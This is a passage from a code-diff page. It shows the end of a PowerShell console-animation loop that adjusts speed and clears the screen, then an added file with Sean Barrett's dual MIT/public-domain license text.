# Wait a little bit to avoid screen tearing and check for a keypress to exit
Start-Sleep -Milliseconds $delay
If ([system.console]::keyavailable) {
$continue = $false
break
}
}
# Clear the screen after a set number of runs, stops the screen buffer filling up
$number_of_runs++
If ($number_of_runs -gt $clear_screen_after) {
Clear-Host
$number_of_runs = 0
}
$speed = $speed + $speed_inc
If ($speed -eq $max_speed) { $speed_inc = -1 }
If ($speed -eq $lowest_speed) { $speed_inc = 1 }
}
+37
View File
@@ -0,0 +1,37 @@
This software is available under 2 licenses -- choose whichever you prefer.
------------------------------------------------------------------------------
ALTERNATIVE A - MIT License
Copyright (c) 2017 Sean Barrett
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
------------------------------------------------------------------------------
ALTERNATIVE B - Public Domain (www.unlicense.org)
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
software, either in source code form or as a compiled binary, for any purpose,
commercial or non-commercial, and by any means.
In jurisdictions that recognize copyright laws, the author or authors of this
software dedicate any and all copyright interest in the software to the public
domain. We make this dedication for the benefit of the public at large and to
the detriment of our heirs and successors. We intend this dedication to be an
overt act of relinquishment in perpetuity of all present and future rights to
this software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff